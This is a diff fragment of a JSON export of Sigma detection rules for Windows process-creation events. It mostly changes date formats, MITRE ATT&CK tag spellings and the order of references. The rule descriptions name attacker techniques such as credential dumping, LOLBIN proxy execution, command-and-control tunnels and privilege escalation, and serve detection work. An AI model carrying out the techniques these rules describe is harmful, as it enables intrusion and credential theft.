"2022/07/15", + "creation_date": "2022-07-15", "falsepositive": [ "Software installation" ], @@ -52752,7 +52858,7 @@ "tags": [ "attack.execution", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1053.005" ] }, @@ -52772,7 +52878,7 @@ "description": "Detects uncommon \"conhost\" child processes. This could be a sign of \"conhost\" usage as a LOLBIN or potential process injection activity.", "meta": { "author": "omkar72", - "creation_date": "2020/10/25", + "creation_date": "2020-10-25", "falsepositive": [ "Unknown" ], @@ -52785,7 +52891,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -52805,7 +52911,7 @@ "description": "Detects installation of a new shim using sdbinst.exe.\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims\n", "meta": { "author": "Markus Neis", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -52819,7 +52925,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.011" ] }, @@ -52839,7 +52945,7 @@ "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/06", + "creation_date": "2022-01-06", "falsepositive": [ "Legitimate use of the UI Accessibility Checker" ], @@ -52848,9 +52954,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", - "https://twitter.com/bohops/status/1477717351017680899?s=12", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/", + "https://twitter.com/bohops/status/1477717351017680899?s=12", + "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml" ], "tags": [ @@ -52864,7 +52970,7 @@ "description": "Detects audio capture via PowerShell Cmdlet.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate audio capture by legitimate user." ], @@ -52873,9 +52979,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://github.com/frgnca/AudioDeviceCmdlets", - "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" ], "tags": [ @@ -52899,7 +53005,7 @@ "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Unknown" ], @@ -52908,8 +53014,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/tevora-threat/SharpView/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", + "https://github.com/tevora-threat/SharpView/", "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpview.yml" ], @@ -52966,7 +53072,7 @@ "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", - "creation_date": "2021/07/28", + "creation_date": "2021-07-28", "falsepositive": [ "Unknown" ], @@ -52982,7 +53088,7 @@ "tags": [ "attack.collection", "attack.t1119", - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -53009,7 +53115,7 @@ "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/28", + "creation_date": "2022-09-28", "falsepositive": [ "Unknown" ], @@ -53022,7 +53128,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -53042,7 +53148,7 @@ "description": "Detects the execution of \"whoami.exe\" by privileged accounts that are often abused by threat actors", "meta": { "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov", - "creation_date": "2022/01/28", + "creation_date": "2022-01-28", "falsepositive": [ "Unknown" ], @@ -53051,12 +53157,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://nsudo.m2team.org/en-us/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution_from_high_priv_process.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.discovery", "attack.t1033" ] @@ -53077,7 +53183,7 @@ "description": "Detects \"svchost.exe\" spawning \"rundll32.exe\" with command arguments like \"C:\\windows\\system32\\davclnt.dll,DavSetCookie\".\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "Unknown" ], @@ -53111,7 +53217,7 @@ "description": "Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking", "meta": { "author": "xknow @xknow_infosec, Tim Shelton", - "creation_date": "2020/06/11", + "creation_date": "2020-06-11", "falsepositive": [ "Java tools are known to produce false-positive when loading libraries" ], @@ -53120,8 +53226,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Oddvarmoe/status/1270633613449723905", "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", + "https://twitter.com/Oddvarmoe/status/1270633613449723905", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_path_traversal.yml" ], "tags": [ @@ -53145,7 +53251,7 @@ "description": "Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate use of Visual Studio Code tunnel and running code from there" ], @@ -53154,13 +53260,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://code.visualstudio.com/docs/remote/tunnels", + "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://ipfyx.fr/post/visual-studio-code-tunnel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_remote_shell_.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -53180,7 +53286,7 @@ "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/21", + "creation_date": "2022-02-21", "falsepositive": [ "Benign scheduled tasks creations or executions that happen often during software installations", "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" @@ -53215,7 +53321,7 @@ "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "meta": { "author": "frack113", - "creation_date": "2021/08/19", + "creation_date": "2021-08-19", "falsepositive": [ "GPO" ], @@ -53229,7 +53335,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_screensaver.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.002" ] }, @@ -53249,7 +53355,7 @@ "description": "Detects suspicious Plink tunnel port forwarding to a local port", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/19", + "creation_date": "2021-01-19", "falsepositive": [ "Administrative activity using a remote port forwarding to a local port" ], @@ -53263,9 +53369,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plink_port_forwarding.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001" ] }, @@ -53292,7 +53398,7 @@ "description": "Use of hostname to get information", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -53301,8 +53407,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hostname_execution.yml" ], "tags": [ @@ -53326,7 +53432,7 @@ "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE\nCheck if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)\n", "meta": { "author": "Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Inventory tool runs", "Administrative activity" @@ -53337,8 +53443,8 @@ "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml" ], "tags": [ @@ -53370,7 +53476,7 @@ "description": "Detects suspicious process run from unusual locations", "meta": { "author": "juju4, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -53383,7 +53489,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_run_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "car.2013-05-002" ] @@ -53404,7 +53510,7 @@ "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { "author": "frack113", - "creation_date": "2022/01/16", + "creation_date": "2022-01-16", "falsepositive": [ "WindowsApps installing updates via the quiet flag" ], @@ -53419,7 +53525,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.007" ] }, @@ -53439,7 +53545,7 @@ "description": "Detects potential abuse of the provisioning registry key for indirect command execution through \"Provlaunch.exe\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel", - "creation_date": "2023/08/08", + "creation_date": "2023-08-08", "falsepositive": [ "Unknown" ], @@ -53453,7 +53559,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -53473,7 +53579,7 @@ "description": "Detects execution of Chromium based browser in headless mode", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/12", + "creation_date": "2023-09-12", "falsepositive": [ "Unknown" ], @@ -53487,7 +53593,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_exec.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -53507,7 +53613,7 @@ "description": "Detects a CodePage modification using the \"mode.com\" utility to Russian language.\nThis behavior has been used by threat actors behind Dharma ransomware.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2024/01/17", + "creation_date": "2024-01-17", "falsepositive": [ "Russian speaking people changing the CodePage" ], @@ -53516,14 +53622,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode", "https://www.virustotal.com/gui/file/5e75ef02517afd6e8ba6462b19217dc4a5a574abb33d10eb0f2bab49d8d48c22/behavior", - "https://strontic.github.io/xcyclopedia/library/mode.com-59D1ED51ACB8C3D50F1306FD75F20E99.html", "https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode", + "https://strontic.github.io/xcyclopedia/library/mode.com-59D1ED51ACB8C3D50F1306FD75F20E99.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mode_codepage_russian.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -53543,7 +53649,7 @@ "description": "Detects process dump via legitimate sqldumper.exe binary", "meta": { "author": "Kirill Kiryanov, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate MSSQL Server actions" ], @@ -53552,13 +53658,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/countuponsec/status/910969424215232518", - "https://twitter.com/countuponsec/status/910977826853068800", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/", + "https://twitter.com/countuponsec/status/910977826853068800", + "https://twitter.com/countuponsec/status/910969424215232518", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -53578,7 +53684,7 @@ "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/20", + "creation_date": "2022-01-20", "falsepositive": [ "Unknown" ], @@ -53587,15 +53693,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://twitter.com/splinter_code/status/1483815103279603714", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://www.elastic.co/security-labs/operation-bleeding-bear", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1134.002" ] }, @@ -53615,7 +53721,7 @@ "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons.", @@ -53650,7 +53756,7 @@ "description": "Detects the enumeration of a specific DLL or EXE being used by a binary via \"tasklist.exe\".\nThis is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question.\nIn order to dump the process memory or perform other nefarious actions.\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2024/02/12", + "creation_date": "2024-02-12", "falsepositive": [ "Unknown" ], @@ -53659,8 +53765,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/", "https://pentestlab.blog/tag/svchost/", + "https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tasklist_module_enumeration.yml" ], "tags": [ @@ -53683,7 +53789,7 @@ "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/10", + "creation_date": "2022-06-10", "falsepositive": [ "Other parent processes other than notepad++ using GUP that are not currently identified" ], @@ -53696,7 +53802,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_download.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -53716,7 +53822,7 @@ "description": "Detects suspicious command lines used in Covenant luanchers", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/06/04", + "creation_date": "2020-06-04", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_hktl_covenant.yml", "level": "high", @@ -53728,7 +53834,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1059.001", "attack.t1564.003" ] @@ -53756,7 +53862,7 @@ "description": "Detect usage of the \"runexehelper.exe\" binary as a proxy to launch other programs", "meta": { "author": "frack113", - "creation_date": "2022/12/29", + "creation_date": "2022-12-29", "falsepositive": [ "Unknown" ], @@ -53765,12 +53871,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/", "https://twitter.com/0gtweet/status/1206692239839289344", + "https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -53790,7 +53896,7 @@ "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/06/19", + "creation_date": "2020-06-19", "falsepositive": [ "Unknown" ], @@ -53803,7 +53909,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_ie_features.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -53823,7 +53929,7 @@ "description": "Download or Copy file with Extrac32", "meta": { "author": "frack113", - "creation_date": "2021/11/26", + "creation_date": "2021-11-26", "falsepositive": [ "Unknown" ], @@ -53836,7 +53942,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -53856,7 +53962,7 @@ "description": "Detects powershell scripts that import modules from suspicious directories", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/10", + "creation_date": "2023-01-10", "falsepositive": [ "Unknown" ], @@ -53889,7 +53995,7 @@ "description": "Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "meta": { "author": "Sai Prashanth Pulisetti @pulisettis, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Unknown" ], @@ -53903,8 +54009,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_impersonation.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1134.001", "attack.t1134.003" ] @@ -53932,7 +54038,7 @@ "description": "Detects active directory enumeration activity using known AdFind CLI flags", "meta": { "author": "frack113", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Authorized administrative activity" ], @@ -53941,8 +54047,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", + "https://www.joeware.net/freetools/tools/adfind/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration.yml" ], @@ -53967,7 +54073,7 @@ "description": "Detects the use of NSudo tool for command execution", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali", - "creation_date": "2022/01/24", + "creation_date": "2022-01-24", "falsepositive": [ "Legitimate use by administrators" ], @@ -53976,8 +54082,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://nsudo.m2team.org/en-us/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nsudo.yml" ], "tags": [ @@ -54002,7 +54108,7 @@ "description": "Detects email exfiltration via powershell cmdlets", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Azure-Sentinel (idea)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unknown" ], @@ -54026,7 +54132,7 @@ "description": "Detects execution of \"Diskshadow.exe\" in script mode using the \"/s\" flag where the script is located in a potentially suspicious location.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/15", + "creation_date": "2023-09-15", "falsepositive": [ "False positives may occur if you execute the script from one of the paths mentioned in the rule. Apply additional filters that fits your org needs." ], @@ -54035,17 +54141,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", - "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4", + "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf", + "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -54065,7 +54171,7 @@ "description": "Detects execution of \"csc.exe\" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.", "meta": { "author": "Florian Roth (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2019/08/24", + "creation_date": "2019-08-24", "falsepositive": [ "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962", @@ -54076,15 +54182,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", "https://twitter.com/gN3mes1s/status/1206874118282448897", - "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe", - "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.004" ] }, @@ -54104,7 +54210,7 @@ "description": "Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall", "meta": { "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/05/25", + "creation_date": "2020-05-25", "falsepositive": [ "Unknown" ], @@ -54113,12 +54219,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", "https://www.virusradar.com/en/Win32_Kasidet.AD/description", + "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_program_in_susp_location.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -54138,7 +54244,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/02/23", + "creation_date": "2024-02-23", "falsepositive": [ "Legitimate usage of the tool" ], @@ -54151,7 +54257,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_simple_help.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -54171,7 +54277,7 @@ "description": "Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/11/23", + "creation_date": "2021-11-23", "falsepositive": [ "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)", "Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension" @@ -54181,13 +54287,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://www.poweradmin.com/paexec/", "https://learn.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_paexec_escalate_system.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001" ] }, @@ -54207,7 +54313,7 @@ "description": "Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.\nThe DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Nounou Mbeiri", - "creation_date": "2024/06/26", + "creation_date": "2024-06-26", "falsepositive": [ "Legitimate usage of DSInternals for administration or audit purpose." ], @@ -54240,7 +54346,7 @@ "description": "Detects the execution of \"logman\" utility in order to disable or delete Windows trace sessions", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/11", + "creation_date": "2021-02-11", "falsepositive": [ "Legitimate deactivation by administrative staff", "Installer tools that disable services, e.g. before log collection agent installation" @@ -54250,12 +54356,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1359039665232306183?s=21", "https://ss64.com/nt/logman.html", + "https://twitter.com/0gtweet/status/1359039665232306183?s=21", 